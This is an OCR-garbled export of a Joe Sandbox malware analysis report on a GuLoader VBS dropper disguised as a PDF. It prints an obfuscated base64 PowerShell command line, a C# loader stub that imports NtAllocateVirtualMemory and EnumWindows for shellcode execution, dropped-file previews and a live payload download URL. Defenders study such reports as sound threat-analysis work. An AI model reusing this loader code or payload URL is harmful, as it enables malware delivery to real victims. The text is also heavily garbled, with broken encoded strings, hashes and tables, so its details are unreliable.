ACAAUWBVAFIATQBPACAAQYBPAEQASABIJAFMAQQBUAFQAIABRAFUASQBTACAAZQBUAHMACGBIAHQAJABIAGAAZAAGAGMACYB5SAHAAJABVAGQAaQBYAGUAIABI
AG8AbQBIAHIAbWBVAGOACAAgAFMAUABBAFIARQBOAEQARQBTAFAAIABBAG4AdABpAGWAaQBOACAARQBCAFUATABMACAARYBVAHIAYgAgAFYAaQBSAGQAZgBh
ADIAIABNAGKAbgBhAGUAY QAXACAACWB5AGCAZABVAGOAZgBVAHIAbgAgAEEADABIAGKAbgBKAGUADAAGAEQAUGBVAEUAUWAGAAOACYAKAFIATWBUAEEAVABJ
AEBATgBGAESBAMWAIADAAOWANAAOAJABSAEBAVABBAFQASQBPAE4ARgBPADKAPQAXADAANAA4ADUANWA2ADSADQAKACQAUGBPAFQAQQBUAEKATW
BOAEYATWA4ADOAWWBSAESAVABBAFQASQBPAE4ARgBPADEAXQAG6ADOATYBOAEEADABSAGB8AYWBhAHQAZQBWAGKACgBOAHUAY QBSAEOAZQBIAGBACYB5ACYALQ
AXACWAWWBYAGUAZgBJACQAUgBPAFQAQQBUAEKATWBOAEYATWAZACWAMAASAFSACGBIAGYAXQAKAFIATWBUAEEAVABJAEBATgBGAEBAOQASADEAMgAYADgAOA
AsADYANAAPAAOACYAJAFIAZQBzZAHUANQAgAFMAawBsAGQAJABIADMAIABNAEEARWBOAEUAVABJAFMATQAGAESAY QBSAGSAdQA4ACAAQQBIAHMAYWAJAEQATW
BSAEUAUWBUAEEAIABHAG8AY QBsAHAAbWAGAG4AY QBOAGIAbwBYACAAUWB5AG4AZQBYAGCAZQBOAGKAYWAOACAARWB5AGAAY QBUAGQACYBhADEAIABLAGWAYQ
B2AGKAIABXAEEATgBMAEEAIABHAGUAbABhACAAbQBPAGWAagBiAGUACgAgAFQAbWBSAHMAZQB5SAGWAIABIAHAAAQBWAGWAIABXAEBAUgBTAEgAIABDAGBADA
BIAGOAIABBAG4AbgB1ADEAIABMAEUAVIBJAECAQQBUAEKATgAgAHMAdABhAGIACWBVAGYAZgBpACAAaQBYAGBAbgAgAHUAYgBSAHUAZgBYAGQAaQBNACAADQ
AKACQAUgBPAFQAQQBUAEKATWBOAEYATWAOADOAWWBSAESAVABBAFQASQBPAE4ARgBPADEAXQABADOAVIBPAGEAYWAOACQAUGBPAFQAQQBUAEKA
TwBOAEYATWAYACWAMgAXADQANWAOADgAMWA2ADQAOAASADEALAAWACWAMWASADEAMgA4ACWAMAAPAAOACGAJAFAAVQBNAFAARQBSAE4ASQAQGAE
IAUgBFAFAAIABSAEUATgBOAEUAUWBJIACAAQYBhAGIAYgBVACAAUWBOAHKADABOACAATgBhAHOAaQBZAGOAZQBZAGMAYQAZACAADABhAHQAZQBUAGUAZABYAG
EAIABBAEWARWBFAEIAUgBBAEKAUWAGAESAZQBOAHQACQB1AGKAIABQAGA4AZQB1AGOAY QAgAEEAZgBNAGKAZgBOACAAJABIAGOACABSAGBAIABTAESASQBOAE
QASWBBAEEAQQAJAEYAZQBYAG4AaQBzAGUACgBIADEAIABYAGUAYWBOAGKAZgBpAGUAIABSAEEARABIAESBAQQAJAGCAbABVAHMACWBVACAAYQBIAHQAYQBSAG
kAbgBnAHMAZQAQAEYAcgBpAHQAJQBYAGUAMYAgAHMAdQBIAGUAJABOAGEAdAAGAGOAZQBIAGBAIABVAGQAYQBYAGIAZQBGAGQAZQAZACAADQAKACQAUYGBPAF
QAQQBUAEKATWBOAEYATWA1ADOAMAA7AAOACYAJAFMAdgBIAGWAbgBpACAAVABFAFIAUgBFAFMAVABSAEKAQQAJAECACgBLIAGOAbQBIACAAUGBZAEQASABBAE
4ARABHACAAUWBIAGMAbWBUAGQAZQAYACAACgBIAHEAdQBpACAATQBFAFIAUWBUAEKARWBOACAARQBAGIAcgBSAG8AbgBhACAASWBVAHIACWB2AGUAagBOAH
IAMWAGAGKACWBKAGsAawBIAGQAIABTAHUAY gBIAGEACWAOACAAdgBIAGWADABhAGIAYQBNAGIAIABUAG8AbgBMAGUACgAgAFYAaQByAHQAdQBVAHMAIABLAF
IATWBQAFMAUWAQAESAQQBMAEYAIABBAGOAdABZAHIAYQBhAGQACWBMADYAIAANAACAWWBSAEBAVABBAFQASQBPAE4ARgBPADEAXQABADOAQWBE
AEEAQWA0ACQAUYBPAFQAQQBUAEKATWBOAEYATWAOACWAJABSAEBAVABBAFQASQBPAE4ARgBPADMALAALADCAOQAZADMALABDAHIAZQBMAFOAJA
BSAESBAVABBAFQASQBPAE4ARgBPADUALAAWACKADQAKACMARABaAESAVABPAEOATQBFAFMASWAGAFUAZABZAGSACYBpAGAAZWAGAFMAZQBIAGKAY QBIADYAIA
BQAHUACcgBsSAGCAIABzZAHKAdABOAGUAbgBhACAASAB5AGQACJAgAEUAdQBYAGEACWBPAGUACYBIAG4AIABNAHUAbABOADMAIABVAG4ACWB3AGKADgAJAEEAZA
B2AG8AawA4ACAATQBhAHIAaQBUAGUACWBOAGEAIABUAGUAbgBKACAAUABIAGWAdgBIAHMACgB1AGEAdAAOACAAaQBUAGQAZABhAHQAY QBMAGKADAAgAEEAaw
BhAGQAZQBtAGKACWAXACAARWBBAFIAVQBEAEEAIABFAHYAZQBUAHQAJQAXACAAUABSAEUAUWBFAE4AVABJIAEOAIABEAGKAdgB1IAGWANWAGAFMACABPAGWAZA
BIAHYAYQAgAFMAdJAB5AHIAawBIACAARgBVAHQAbWBOAGUADAAGAEEAJQBOAGBAJAAIACAARQBBAFIAVAAgAEgAeQBKAHIAYQBNAGBAZWB5ACAAQYBYAGKADY
BJAGUAdQA5ACAAVABYAGKACABSAHUAIAB1AG4AbwWBYAGEADABIAHMAIABTAGSAZQBSAGUAIAANAAOAWWBSAESBAVABBAFQASQBPAE4ARgBPADEAXQABADOARQ
BuAHUAbQBXAGKAbgBKAGBAdwBzACgAJABSAEBAVABBAFQASQBPAE4ARgBPADMALAAGADAAKQANAAOADQAKAA== MD5: DBA3E6449E97D4E3DF64527EF7012A10)

. conhost.exe (PID: 640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e [ csc.exe (PID: 4164 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\wwh3pdnv\

wwh3pdnv.cmdline MD5: 350C52F71BDED7B99668585C15D70EEA)

o [ cvires.exe (PID: 5012 cmdline: C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe /INOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1
\AppData\Loca\Temp\RESBAD5.tmp" "c:\Users\user\AppData\Local\Temp\wwh3pdnW\CSC196797DCDE8F47A0A151AAD0920D1B.TMP" MD5:
C09985AE74F0882F208D75DE27770DFA)

= cleanup

Malware Configuration

Threatname: Guloader

"Payload URL": "https://vegproworld.com/wp-content/Medalj.vbs"

Yara Signatures

Memory Dumps

Source Rule Description Author Strings
0000000E.00000002.894432907.0000000008F80000.00000  JoeSecurity_GuLo  Yara detected Joe Security
040.00000800.00020000.00000000.sdmp ader_2 GuLoader

Sigma Signatures

@ No Sigma rule has matched

Snort Signatures

@ No Snort rule has matched
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Joe Sandbox Signatures

AV Detection

Found malware configuration

Multi AV Scanner detection for submitted file

Networking

C2 URLs / IPs found in malware configuration

Potential malicious VBS script found (has network functionality)

System Summary

Wscript starts Powershell (via cmd or directly)

Very long command line found

Data Obfuscation

detected GuLoader

Hooking and other Techniques for Hiding and Protection

Uses an obfuscated file name to hide its real file extension (double extension)

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Mitre Att&ck Matrix
Initial
itia Execution Persistence
Access
Valid Path
Accounts Command  Interceptio
and n
Scripting
Interpreter
Default Boot or
Accounts Scripting Logon
Initializatio
n Scripts
Domain Logon
Accounts PowerShell  Script
(Windows)
Local At Logon
Accounts (Windows)  Script
(Mac)
Cloud Cron Network
Accounts Logon
Script
Replication Launchd Rc.commo
Through n
Removable
Media

Copyright Joe Security LLC 2022

Privilege

Escalation

Process
Injection

Boot or
Logon
Initializatio
n Scripts

Logon
Script
(Windows)

Logon
Script
(Mac)

Network
Logon
Script

Rc.commo
n

Defense
Evasion

Masqueradi
ng

Virtualizatio
n/Sandbox
Evasion

Process
Injection

Deobfuscat
e/Decode
Files or
Information

Scripting

Obfuscated
Files or
Information

Credential
Access

os
Credential
Dumping

LSASS
Memory

Security
Account
Manager

NTDS

LSA
Secrets

Cached
Domain
Credentials

. Lateral .
Discovery Movement Collection

Remote
Query Services Archive
Registry Collected
Data
Remote Data from
Security Desktop Removable
Software Protocol Media
Discovery
SMB/Wind  Data from
Process ows Admin  Network
Discovery  Shares Shared
Drive
Distributed  Input

Virtualizatio Component Capture
n/Sandbox Object
Evasion Model

SSH Keylogging
Application

Window

Discovery

VNC GUI Input
File and Capture
Directory

Discovery

Exfiltration

Exfiltration
Over Other
Network
Medium

Exfiltration
Over
Bluetooth

Automated
Exfiltration

Scheduled
Transfer

Data
Transfer
Size Limits

Exfiltration
Over C2
Channel

Command
and
Control

Encrypted
Channel

Application
Layer
Protocol

Steganogra
phy

Protocol
Impersonati
on

Fallback
Channels

Multiband
Communic
ation

Network
Effects

Eavesdrop
on Insecure
Network
Communic
ation

Exploit SS7
to Redirect
Phone
Calls/SMS

Exploit SS7
to Track
Device
Location

SIM Card
Swap

Manipulate
Device
Communic
ation

Jamming or
Denial of
Service

g

Remote
Service
Effects

Remotely
Track
Device
Without
Authorizati
on

Remotely
Wipe Data
Without
Authorizati
on

Obtain
Device
Cloud
Backups

Impact

Modify
System
Partition

Device
Lockout

Delete
Device
Data

Carrier
Billing
Fraud

Manipulate
App Store
Rankings
or Ratings

Abuse
Accessibilit
y Features
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Initial . . Privilege Defense

Execution Persistence . q
Access Escalation Evasion
External Scheduled = Startup Startup Compile
Remote Task Items Items After
Services Delivery
Behavior Graph

Lateral .
Collection

Movement

Windows Web Portal

Remote Capture

Manageme

nt

SUSPICIOUS

CLEAN

UNKNOWN

Credential .
Discovery
Access
DCSync
System
Information
Discovery
Behavior Graph
ID: 625179
Sample: doc_65398086_4190362045539....
Startdate: 12/05/2022
Architecture: 'WINDOWS
Score: 88

- - - S

Screenshots

Thumbnails

Wscript starts Powershell
(via cmd or directly)

2

Exfiltration

Exfiltration

Over

Alternative

Remote
Service
Effects

Command
and
Control

Network Impact
Effects P
Data

Encrypted
for Impact

Rogue Wi-
Fi Access
Points

Commonly
Used Port

Protocol

started

wscript.exe

SANNNE [ ]]

G

Very long command line
found

-
[1:]

«Q
@
=}
o

Process
Signature
Created File
DNS/IP Info

+EEE

Is Dropped

Is Windows Process

+*
*n

Number of created Registry Values

s
Number of created Files

Y

K: 2= Visual Basic
ERZIC
\ 11 Delphi
Encrypted powershell Java

cmdline option found

/]
iy

.Net C# or VB.NET

C, C++ or other language

Q@ 2|

(> .
Is malicious
1
n Internet
/ started \ started
cscexe 1 conhost.exe -

n B: @

dropped

Data\Locall

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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cvtres.exe V.4
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H 0 Type here to search

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample
Source Detection Scanner Label Link
doc_65398086_4190362045539.pdf.vbs 19% Virustotal Browse
doc_65398086_4190362045539.pdf.vbs 20% ReversingLabs Script.Trojan.Valyri

a
Dropped Files

@ No Antivirus matches

Unpacked PE Files

@ No Antivirus matches

Domains

@ No Antivirus matches
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https://www.virustotal.com/gui/file/74e1b9fa91b0840706b7418b8604d76efab886fec1704b8810ad389aa6a9cb9b/detection/f-74e1b9fa91b0840706b7418b8604d76efab886fec1704b8810ad389aa6a9cb9b-1652327850

URLs

Source Detection Scanner Label Link
http://https://vegproworld.com/wp-content/Medalj.vbs 0% Avira URL Cloud safe
http://https://go.micro 0% URL Reputation safe

Domains and IPs

Contacted Domains

@ No contacted domains info

Contacted URLs

Name Malicious Antivirus Detection Reputation

http://https://vegproworld.com/wp-content/Medalj.vbs true e Avira URL Cloud: safe unknown

URLs from Memory and Binaries

Name Source Malicious  Antivirus Detection Reputation
http:/f powershell.exe, 0000000E.00000002.885692 false high
schemas.xmlsoap.org/ws/2005/05/identity/claims/nam ~ 627.0000000004571000.00000004.00000800.0
e 0020000.00000000.sdmp
http://https://go.micro powershell.exe, 0000000E.00000002.887074 false e URL Reputation: safe unknown
953.0000000004809000.00000004.00000800.0
0020000.00000000.sdmp

World Map of Contacted IPs

@ No contacted IP infos

General Information
Joe Sandbox Version: 34.0.0 Boulder Opal
Analysis ID: 625179
Start date and time: 12/05/202213:30:24 2022-05-12 13:30:24 +02:00
Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 10m 34s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: doc_65398086_4190362045539.pdf.vbs
Cookbook file name: default.jbs
Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes 23
analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 0
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
* AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal88.troj.evad.winVBS@8/9@0/0
EGA Information: Failed
HDC Information: Failed
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HCA Information:

.

Successful, ratio: 100%
e Number of executed functions: 0
Number of non-executed functions: 0

.

Cookbook Comments: Found application associated with file extension: .vbs
Adjust boot time
Enable AMSI

Override analysis time to 240s for JS files taking high CPU consumption

e o o o

Warnings

e Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe,
wuapihost.exe

e Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, client.wns.windows.com, fs.microsoft.com, store-images.s-microsoft.com, login.live.com, sls.update.microsoft.com

settings-win.data.microsoft.com, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com

Execution Graph export aborted for target powershell.exe, PID 5504 because it is empty

Not all processes where analyzed, report is missing behavior information

Report size exceeded maximum capacity and may have missing b ehavior information.

Report size getting too big, t oo many NtOpenKeyEx calls found.

Report size getting too big, t oo many NtProtectVirtualMemory calls found.

Report size getting too big, t oo many NtQueryValueKey calls found.

e o o o o o

Simulations

Behavior and APIs

Time Type Description

13:34:38 API Interceptor 25x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

© No context

Dropped Files

@ No context

Created / dropped Files

C:\Users\user\AppData\Local\Temp\RESBADS.tmp

Process: C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe

File Type: Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x496, 9 symbols
Category: modified

Size (bytes): 1340

Entropy (8bit): 4.011609440700331

Encrypted: false
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SSDEEP:
MD5:
SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

24:HZK9oyiy25s+hZHXhKOLmfWI+ycuZhNdakSbPNng9ed:1y05PZxKYm+1lulda3Rq9+
35A06BF865E875C32B726828816967FD
69567D3C9C7E29E87231287DAA08CBCE0D881AS7
F5A343919ECF1F8EA925B6C5EA94D82696B3ABB8896A251CE68992E1F623E31F

2E148251ECO07F729554628D576E41B452FDF80AFO03EOAAECA367648B3F1415EDEED1C4D6DEFFC2D3A4579114C27C9885BB9713D043451F5F19FD19E79FBO6EZ
C

false
low

L..io}b..eeies debug$s........ ) GNP @..B.rsrc$01.... P.Fos @..Q@........ V....c:\\Users\user\AppData\Local\Temp\wwh3
pdnv\CSC196797DCDE8F47A0A151AAD0920D1B.TMP.. ....C:\Users\user~1\AppData\Loca\Temp\RESBADS5.tmp.-.<...........cc.....
."...Microsoft (R) CVTRES. .=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe

S @..@.rsrc$02..

LHebeHe 4L V.S, _V.ERSILON_INF.O e, e D....VarF.ilelnfo..$..Transla. S.tring.Fi
Jle.l.n.f.o. .0.0.0.0.0.4.b.0...,.....F.il.e.D.e.s.c.rip.ti.o.n.... ..0...F.ileV.ers.i.o.n...0..0..0..0..<...Lntern.alN.am.e..ww.h.3.p.d.nv..dll..(..Le.g.alC.o
.p.y.ri.g.h.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0OowOx3fu.khv.psm1

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

very short file (no magic)

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB
6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

4DFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFE84C58B2B37B89903A740E1EEL172DA793A6E79D560E5F7FO9BD058A12A280433ED6FA4651
0A

false
high, very likely benign file
1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lpwr2qov.bee.ps1

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

very short file (no magic)

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB
6B86B273FF34FCE19D6BB04EFF5A3F5747ADA4EAA22F1D49C01ES52DDB7875B4B

4ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651
0A

false

1

C:\Users\user\AppData\Local\Temp\rettetast.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

C:\Windows\System32\wscript.exe

data

modified

57933

7.415138518303065

false

1536:pZVFWBYYoikwV2sLpHIgDhP{70u82ivgnOsQs:pJWkikwQbVPjownOi
C550EC97DA0B49DE2EE31A4552D45484
EC31D87E64AB26A00D2E9796A2FAEE787BB32325
37E778140A816131239F263E917234F92106C4F3EC55EAB1007D75E587815544

D4CFA10342CD3E3C68976ADD3A538A7A5F3CA190C850A93F767B463E1697B212245602FDB2COBA39BC6FD1C4COF8C5B75388393A194AD85F392D0CD6FB6839
3
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Malicious:

Preview:

false

...... hG.3W.4$'"..q..$H.-&Z.._1..4.2@t1@@@@9.u.W.......p.@t.........s..Cc....."[.1.4.1..T._.Ry..;.aR...8...........B.R..)....C.Hn.~uyw..%&..h.....GY....Rj.. AL.k~$....0.nN
W..cZ.K\.1.. gon<ijokeviULLyY Byl >4<.0...0. 2. F &< & wL kL .z, C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C
..c..cY}3.....c..c..c..c..c..c..c..c..c..c..C..c..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C.|..S......<P.. . %......6..8...f..w2...p.fI.MH..X.&MR...#. .dR.a..8.7@t.?
@MH...XN.t.?@..{&.S.50....E?@" AlLtdl.<... L& [(4.5....=?2@.*...TO.CE?@..j.a.Yy...d.. @..Hk.gl?21..#..$0@tzh..9.EFfp.(?@...1.72&.}..C?Q@,.
..u.?...c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..Cc..Cc..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C....[m..>@t......C.].4d..w$..G.E.hN. .&NXP.)..:4.,f.-2<%.1KPH...rz8.A.z3..

C:\Users\user\AppData\Local\Temp\wwh3pdnv\CSC196797DCDE8F47A0A151AAD0920D1B.TMP

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

MSVC .res

dropped

652

3.114364084100377

false
12:DXt4li3ntuAHia5YA49aUGigMZAiN5gry/ak7YnqgbPN5DIg5J:+RI+ycuZzhNdakSbPNngX
234F2657A7B1DDF2E56567D4D8BB876B
0CB26D0BA763B71C42D69F0819CFF1A1EEO03EDS
2A3BC5C84D045E37E336B2BFE2DCC4F00F5006FD754953C04C87685755054594

E55530EBO8SE3945CEC11C8AEF5127A2A0914FDFAB9279710C6C3E3C53D5C956D18B57459E481B0807ES8E766C185C02B7B422CFEFB4D194CF1674DAD752F3F
5

false

L..< .0 .L4.V.S._V.ERS.ION._.INF.O .D...VarF.ilelnfo...$.. . .Trans.latio.n
S.trin.g.F.ile.lnfo......0.0.0.0.0.4.b.0 F.ileD.es.crip.tio.n.....0...FileV.ers.io.n...0..0..0..0..<..lLnternalNam.e..ww.h.3.p.dn.v..dl .
.LegalcC.opy.right. .D..OuriginalF.ilenam.e..wwh3p.dnv.dll..4..ProductV.ers.io.n..0..0..0..0..8..Assemb.ly. Vers.io.n..0..
0...0...0...

C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.0.cs

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

871

5.2974065929444025

false
12:V/DGrbhQzPpN+RmgkrWeszPpN9zL2xgS2q5a+HNK+4t0+MEhOQLrOsG:JobSzeRmgkr7iFL2m7q5fHNyhjni
B0OC4D854DD730B30AEA1BD746BB6FBCD

8BC1444A76D62F0346DAD934B5FF66B6FAB20E8L
AO6E857E542E86D49C3D292EE52EE7A26E90C9083486B8AC568D8739D65141F4

505DB2A1FBDC8BB27C9B46D481F02E52CC7F02EC1AS8CCF38ACD7D8780F48B94CE910B371A71B4502826C22B83B2BDA5827FF6E61259DCB484E2F27FIBAFA
9B

false

.using System;..using System.Runtime.InteropServices;..public static class ROTATIONFO1. {..[Dllimport("gdi32")Jpublic static extern IntPtr EnumFontsA(string fer
skva,uint parapleg,int DEPO,int ROTATIONFOO,int Hove,int afterrak,int Svinghjulel);..[Dllimport("KERNEL32", EntryPoint="CreateFileA")]public static extern IntPtr
Viac([MarshalAs(UnmanagedType.LPStr)]string ferskva,uint parapleg,int DEPO,int ROTATIONFOO,int Hove,int afterrak,int Svinghjulel);..[Dllimport(“ntdll”)]public static ex
tern int NtAllocateVirtualMemory(int ROTATIONFOS,ref Int32 TERRA, int Maniokp,ref Int32 ROTATIONFO, int Phonolo,int ROTATIONFO7);..[Dllimport("KERNEL32",
EntryPoint="ReadFile")]public static extern int CDAC(int ManiokpO,uint Maniokp1,IntPtr Maniokp2,ref Int32 Maniokp3,int Maniokp4);..[Dllimport("USER32")]public static ex
tern IntPtr EnumWindows(IntPtr Maniokp5,int Maniokp6);....}

C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.cmdline

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators

dropped

377

5.2616699267879

false
6:pAu+H2LvkuqJDdgxLTKbDdgB/6K2cNwi23f6ULGzxs7+AEszIcNwi23f6ULQA:p37Lvkmb6KwZiUqWZEJZiUP
53AC0ODD9C318A4F8E7021C59049C92C1

4628E33182E6FB66285C07AF946931F12FAD2A1C
C8A3ACFD09130D010F14F12DCEDB11A535FO0CFF61B86A9EEODEB524E6AS55FCAL

D22211B4B3B7029D63CE96C2B5DED3CD9B5332F7446D109B2B9588D8BB525496812143BA59E1FF898972ACC86DF1136A3D44EBEF024F825FC747B31077BDEF!
A

false

Jtlibrary /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\Sys
tem.Management.Automation.dll" /R:"System.Core.dII" /out:"C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.dil" /debug- /optimize+ /warnaserror /optimize+ "C
\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.0.cs"
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C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.dll

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe

PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
dropped

3584

3.265178097200224

false

48:6NKIm4L9k7zgbiUcjaceNJ7U1Uflulda3RgK:4mEOeHozHVK7
BDEOA74665E6E80624CD58A53D7A3B73

72B994DAE7F36145D546 C5DBA9ASDALE2C789069
F92B9C20A23B6AD7B7FAFA196816023056AADC941D9753DB17D9918E324FF3F1

820C04E2127B97B34C746BD0B2870690EFAD3964248091301DB6F61F98FFC38F1D7088ED4CC010F7DD6210D2FDBED599D6A8D00C807ESD78EA99738C0O7AF13(
E

false

C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.out

Process:
File Type:
Category:

Size (bytes):

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
modified

879

Entropy (8bit):  5.303346583830233

Encrypted: false

SSDEEP: 24:Kwqd3ka6KgiULEviU2KaM5DgBVKVrdFAMBJITH:xika67DEveKxDcVKdBJj

MD5: 6020EB7DODD4DA8B4EC4ECAC6B1F94F44

SHA1L: DC98EF1DFDAC6A796689FB55A706643BACBF5939

SHA-256: 0F2441D62D336252CACCB2B7BA1164D161BAE35500571BFF85D35792D6176882

SHA-512: 74BE1AAE833E9B04DB6782E0947271CE2A5557AC54A3EB76538C87961CB45DB3EA327F0E748001450E760D095BA9C8D3D2184C0219A1042CF1764DEAD3FB494
0

Malicious: false

Preview: .C:\Users\user\Desktop> "C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dIl" /R:"C:\Windows\Microsoft.Net\assembly\GAC
_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\L
ocal\Temp\wwh3pdnv\wwh3pdnv.dil" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.0.cs"......Microsoft (R) Visual
C# Compiler version 4.7.3056.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved....... This compiler is provided as part of the Microsoft (R) .NET Fra
mework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming |
anguage, see http://go.microsoft.com/fwlink/?LinkID=533240....

Static File Info

General

File type: ASCII text, with very long lines, with CRLF line terminators

Entropy (8bit):  4.492131037575922

TriD: e Visual Basic Script (13500/0) 100.00%

File name: doc_65398086_4190362045539.pdf.vbs

File size: 256454

MD5: 2fc6f3477035823ff7864187b5b2a5c¢cc

SHAL: 8e6db7c18a5725e795d7421baf84cae637fbcc53

SHA256: 74e1b9fa91b0840706b7418b8604d76efab886fec1704b8810ad389aa6a9chob

SHA512: 5ae7e5d61f11123fe67841c99046ddad5f8b710a3054943c87acd53ed8438eb41fcf2a913f255e5dae3ea2aeflce5373fe35897a0ee129b6471c2c11128e2ea7

SSDEEP: 3072:3Z4QJxguxSEbvyZItizvQd9EBHBD2WUZOEZKBY42AjaNBQUKIINZ:JZ4GIgubKTcE2W+QY5jrQijllk

TLSH: C6449B9182B1AFC891F93EDFCBOES621B2409E65D3D7F1585AE110BD7FDB2E95306290

File Content ‘Glanduli Tostprogra Spoor4 Altf horologi Beziql LITURGY driftsp GROVELLERS OBJURGATO SIPHUNCULU Definers4 skreknivho Badutspri Lote Pleuro spydspid Appl

Preview: FLAMBERE BLATTOIDB Piete Nonsolub7 pale OSTRAC Farveat2 Stablev4 Skrkrom9 Donnerdse ..'BLOD Paikbi OB

Filelcon
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5

Icon Hash:

e8d69ece869a9ecd

Network Behavior

@ No network behavior found

Statistics

Behavior

@

System Behavior

@ wscript.exe

® powershell.exe
@ conhost.exe

@ csc.exe

@ cvires.exe

Click to jump to process

Analysis Process: wscript.exe PID: 7096, Parent PID: 3808

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MDS5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

0

13:31:38

12/05/2022

C:\Windows\System32\wscript.exe

false

C:\Windows\System32\wscript.exe “"C:\Users\user\Desktop\doc_65398086_4190362045539.pdf.vbs"
0x7ff634c70000

163840 bytes

9A68ADD12EB50DDE7586782C3EBIFFOC

true

true

C, C++ or other language

high

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Access Attributes Options

Copyright Joe Security LLC 2022

Completion

Count Source Address

Symbol
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File Path

File Path

Offset Length Value Ascii Completion Count Source Address Symbol

Offset Length Completion Count Source Address Symbol

Analysis Process: powershell.exe PID: 5504, Parent PID: 7096

